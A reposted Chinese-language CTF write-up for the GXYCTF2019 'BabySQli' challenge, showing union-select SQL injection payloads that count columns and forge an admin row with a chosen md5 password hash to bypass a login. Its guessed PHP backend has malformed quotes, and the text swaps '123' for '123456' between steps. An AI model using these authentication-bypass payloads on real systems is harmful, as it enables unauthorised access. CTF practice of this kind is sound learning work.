[GXYCTF2019]BabySQli


0x00 知識點

emmm這道題目就是腦洞得大,能猜后端源碼

0x01 解題

查看源碼:
base32,base64解碼得到

select * from user where username = '$name'

提示我們 要從 username 入手我們查看下 他有幾個字段
得到字段為3:

admin' union select 1,2,3#

我們開始常規注入:

admin' union select 1,2,3#

這里提示wrong user,用戶名錯誤,猜測為admin
我們把admin 放到第二個位置 不報錯
得到第二個字段就是我們的username字段

admin' union select 1,'admin',3#

這里看網上師傅博客,有md5提示,我並沒有看到--

於是我們便可以去猜測 它的后端是怎么寫的:


<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){ 
echo $flag; 
}else{ echo “wrong pass!”; 
}}
else{ echo “wrong user!”;}

就是 我們的sql語句執行時,passsword字段中的內容要==md5(我們密碼欄輸入的password)然后我們便隨便找個 密碼 就123吧:

明文:123md5 : 202cb962ac59075b964b07152d234b70
於是我們便構造這樣的payload:

username欄:


0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#

password欄:123456
登錄便可以得到


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM